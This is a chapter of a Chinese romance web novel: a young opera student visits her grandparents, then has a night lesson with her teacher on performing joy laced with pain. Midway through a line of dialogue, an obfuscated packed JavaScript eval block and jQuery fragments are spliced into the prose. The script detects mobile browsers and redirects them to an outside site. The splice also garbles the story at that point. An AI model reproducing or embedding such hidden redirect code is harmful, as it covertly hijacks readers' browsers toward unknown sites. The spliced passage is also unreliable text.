推开老宅门的那一刻，檐下风铃正好撞碎雨声。
沈清雨缩着脖子进屋，脚后跟还带着湿气。
奶奶坐在藤编垫子上，穿着孔雀蓝的旧戏袍，膝头上的绣绷铺开一片水色。她手里一根银针挑着金线，耳垂上的翡翠耳坠跟着动作一晃一晃。
“下雨天怎么不打伞？”她一边埋怨，一边用拇指轻蹭沈清雨微湿的发丝。
沈清雨低头笑，接过那块绣着铃兰的小手帕。
厨房那头飘来一股姜和陈皮的香气，爷爷探头出来：“姜茶马上就好！”
“爷爷。要加半罐可乐那种！”沈清雨在门口喊。
“你这丫头，就知道糟蹋我的配方。”爷爷嘴上念叨着，语气却是宠溺的，瓷盖碰着搪瓷锅沿，响得清脆。
“你哥怎么没来接你？”奶奶一边穿针引线，一边问。
“他忙嘛。”
“是吗？照我看，谁也没有我的小阿糍忙。”蒋月笙哂笑一声，用手指轻轻点了一下沈清雨的额头。
沈清雨低头看那半只绣好的金蝶，停在牡丹心里。金线在奶奶指间穿梭，轻得像鱼游水面。
忽然有根凉凉的手指碰了碰她眉心。
她起身走到桌案前，手指抚过玻璃瓶沿，新摘的茉莉凝着水珠滚进掌心。
“奶奶，要是特别想让一个人记住自己...”她话尾悬在花香里，像晨露将坠未坠。
“你会怎么做？”
奶奶停了针，抬头看她，眼底亮晶晶的像映着灯火。
“那就给他绣朵不会凋谢的花，或者啊——”她说着，针尖一挑，戳破绷布。
窗外雷声忽然炸开。
“把他，刻进你的戏里。”
沈清雨转身时，正撞见奶奶眼底粼粼的波光，仿佛那年戏台两侧的珠帘在暮色里轻颤。
她指尖一颤，白花瓣扑簌簌落在老榆木桌面上。
“我们小阿糍的眼睛啊，现在亮得像刚开箱的点翠头面。”
沈清雨刚要开口，就听见老太太佯装叹息：“哎，嫌我这个老太太年老色衰，不如年轻人啰。”
她自己的孙女，她还能不了解。
从前教她甩水袖总喊手酸，如今倒肯顶着雨看完整场戏。
“奶奶！”沈清雨跌进藤椅里，膝头碰翻了针线筐。彩线团骨碌碌滚到青砖地上，像撒了一地彩虹糖。
老式座钟当当敲了六下。
穿堂风趁机溜进屋子时，《贵妃醉酒》的戏谱正停在“海岛冰轮初转腾”那行。
沈清雨把发烫的脸颊埋进奶奶肩窝，棉布衣料蹭过鼻尖，十五年如一日的桂花香里掺着檀香的暖意。“才不是呢，岁月从不败美人。王叔上回还说，奶奶扮杜丽娘那会儿……”
她说到一半，奶奶笑出了声：“你就贫吧。”
“可不是！在我心里，你奶奶就是全北京儿最美的老太太。”门帘哗啦掀起，爷爷端着瓷碗从厨房晃出来。姜片在热水里沉沉浮浮。
“当年她在吉祥戏院压轴，谢幕时，那些个红绸花篮堆得比海棠窗还高。”他故意拖长调子，眼里的笑意要溢出来。
奶奶假装要去拧他耳朵，手腕上的银镯叮叮咚咚响，屋里全是笑声。
沈清雨看着老两口的影子映在花窗上，忽然觉得，他们皱纹相叠的弧度，竟像极了戏台上依偎的并蒂牡丹。
月光透过窗棂，洒进堂屋。
她帮着收拾完碗筷回房，钟声正敲过十点。
月光像匹银缎子铺在樟木箱上，那条灰色羊绒围巾正静静蜷在箱角。
她手指抚过，忽然在卷边处发现个褪色的血渍。
她仔细辨认，暗红在台灯下显出哑光的质地，像被人揉碎又风干的海棠花瓣。
记忆突然被月光泡得发胀。
上个月末场演出，徐然洲谢幕时左手始终背在身后。她当时只当是他独有的矜持，此刻却清晰记起他鞠躬时指缝漏下的红。
原来是这般滴在灰色羊绒上寂静地开成了花。
【坏女人！你心疼了？这就心疼了？他有那么惨吗？不就可怜了一点？每次都这样……喜欢他？】
沈清雨打开抽屉，拿出绣线和针，一针一线地，在那抹“海棠”上，绣了一朵小茉莉。
【傻小壹，我当然喜欢他了。因为现在我是沈清雨。】
洁白，素净，藏香。
不惊不扰，却牢牢缠进心里。
绣到最后一针时，她忽然笑了。
茉莉花开，愿君长安。
*
沈清雨彻底把台词功底打磨透彻的那天，北京的迎春花正好谢了一茬。
春寒刚退，阳光一日比一日猛，连胡同口的青砖墙都晒得发白起皮。
后台铁管滴水不止，嘀嗒声像在替谁数着心跳。
她踮着脚贴胶布，小臂绷紧，腰侧的月白色绵衫滑开半寸，露出细细一截肌肤，像刚剥了皮的水葱。
徐然洲倚在镜前，手里的剧本被他捏得起褶。天光从窗外斜斜照进来，切在他眉骨上，也遮住了他短暂失神的那一瞬。
“啪——”
他突然把剧本拍在妆台上。
“今天学笑。”声音比平时低，却轻了几分。
她小心地绕过散落一地的工具箱，低头捡起一枚螺丝钉，随口问：“师傅要哪种笑？杨玉环衔杯时眼波横着嗔，还是孙玉姣拾镯子时腮边噙着羞？”①
这句俏皮问得自然，她以为他会像往常一样点评她的声调或眼神。
可这次，徐然洲没吭声。
她抬头，才发现他耳垂居然有点泛红。
窗外蝉鸣正巧停了一拍，气氛像是一下子静住。
“倒把你机灵坏了。”他咳了一声，把台本翻过去，眼神有点躲。
沈清雨没再接话，只是俯身去捡最后一颗螺丝钉。她没注意到，发簪的流苏划过他西装裤脚时，徐然洲整个人都僵了下。
他下意识别开脸，看向墙角那滩水。水面倒映着他没来得及收住的笑意。
“被生活硌着牙还得往下咽的那种笑，你会么？”他忽然开口，顺手从她手中抽走保温杯。
两个一模一样的杯子在妆台前排成一排，像镜像。
她发现他在看杯底的划痕。
新、旧杯上的刮痕深浅不一，像有人用钥匙刻过。
“奶奶说，老东西要成对才不孤单。”她打开新杯的盖子，笑道：“茉莉加了两颗胖大海，润嗓的，您连演三场了。”
徐然洲站起来，动作像是逃避似的慌乱。
沈清雨还没反应过来，就听他丢下一句话：“晚上留下，练。”
夜幕降临。
“来。”徐然洲抛过来一件褪色剧服。
沈清雨抬手接住，披上时闻到一股熟悉的气味：油彩、檀香，还有点被时光晾过的味道。
“穿上。”徐然洲从道具箱里掏出一盏老旧台灯，动作利落得像舞台换景。
钨丝灯泡“啪”一声亮起，他眼睫轻颤，退进阴影，“站到光里。讲件你童年最快乐的事。”
沈清雨站过去，暖黄的光包住她。
她偏头看他一眼，眼角带笑：“师父，你这是要审我童年？”
“讲。”他语气不动，指尖却握紧了灯线。
“七岁那年，奶奶跟戏班去晒盐场搭台，我非要跟着。”她声音有点轻快，“我偷穿了小生的厚底靴，结果——噗，一脚栽进盐堆。”
“然后呢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627954|172469||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
？”
她扬起下巴，语调慢慢柔下来：“膝盖摔破了，咸得要命。可我躺在盐堆里看星星，觉得……每一粒盐都在发光，像小月亮。”
徐然洲想起某个台风夜，停电的纺织厂宿舍里，母亲用盐袋压住漏雨的窗缝。
咸涩的风灌进来时，他听见父亲在暴雨中喊：“电路板还差最后.…..”
"现在笑。"他哑着嗓子下令。
她看他一眼，忽然笑的灿烂：“徐老师，你是不是也想起什么了？”
徐然洲没说话，喉结动了一下。
“你刚刚是不是在共情我？”
她忽然靠近半步，“但您平时教学时候可不会，只会盯着我一句句挑刺。”
“再说一遍那句‘每粒盐都在发光’。”他声音低哑。
沈清雨睫毛一颤，“……像无数个小月亮，在伤口上跳舞。”
“不对”，徐然洲突然逼近，食指抵住她颤抖的梨涡，“快乐里要掺着痛，像盐腌梅子。”
他掌心的温度透过衣服渗进来。
沈清雨突然抓住他手腕，指尖按在那块雪花疤痕上：“师父示范一次？”
他眼底光微微一动。
“您要是不演，我就把这句写进剧本里，只写你。”
那盏灯“滋啦”一响，光影一抖。
这姑娘生得极好，是剧院里许多人挂在嘴边的那种“清亮漂亮”。
可他今日对上这双眼睛，才忽然明白，不是“漂亮”，是“要命”。
她眼底水光流转，像一湾浅浅春水，偏偏漾着不动声色的挑衅。
那句“只写你”，轻得像玩笑，落在他心口，却有种沉静又微妙的重量。
他喉咙动了动，没出声。指腹贴着她手背时，掌心竟有些发热。
徐然洲偏过头，嗓音低低的：“我若是演，你就能看明白？”
“那您得演得真一点。”她语气又轻又柔，带着一丝毫无防备的认真。
徐然洲定定看着她，眼神沉静如水。可她能感受到他掌心透过衣料传来的温度，像暗流下涌。
忽然，他笑了一下，短促而压低，像是失控的呼吸藏进齿缝里。
有的人明明脸上在笑，可心里却在哭。
沈清雨轻轻叹气，朝他靠近一步。
想去碰他的眼尾。
他后仰一闪，撞翻桌上的保温杯。茉莉与胖大海交错而落，在月光下散出一片温热银河。
“您这里，”她指了指他眼角，“刚刚有一点盐的反光。”
她眼里带笑，带钩，像是知道他心里藏着潮汐。
徐然洲没说话，只垂眸看她。
沈清雨想：可惜啊！差一点没忍住想亲上去。
这个世界上一定有比他眼角清泪更动人的东西。
但她不在乎。
后巷传来野猫厮打的声响，几声干脆的尖叫后归于寂静。
徐然洲转身收拾那一地狼藉，才发现自己手在抖。
二十三年没落的泪，原来会换一种形状，从指缝里渗出来，是汗，也是怔愣后的余烬。
“明天带一包盐来。”他把那件戏服甩在椅背上，嗓音低哑，“要粗海盐。”
沈清雨走到门口，又转身折回来。
她轻轻将一颗话梅糖塞进他掌心，指尖压着他还微微发烫的虎口。
“奶奶说，吃咸了要回甘。”
糖纸上的金鱼图案被她捂得有些发软，边角卷翘。
她顿了顿，又低声补了一句：“您胃不好，别总喝凉水。”
那糖不重，可落在掌心时，他像接过一颗心。
他没吭声，只听得见自己呼吸穿过喉咙，像被烟火哽住一样的声音。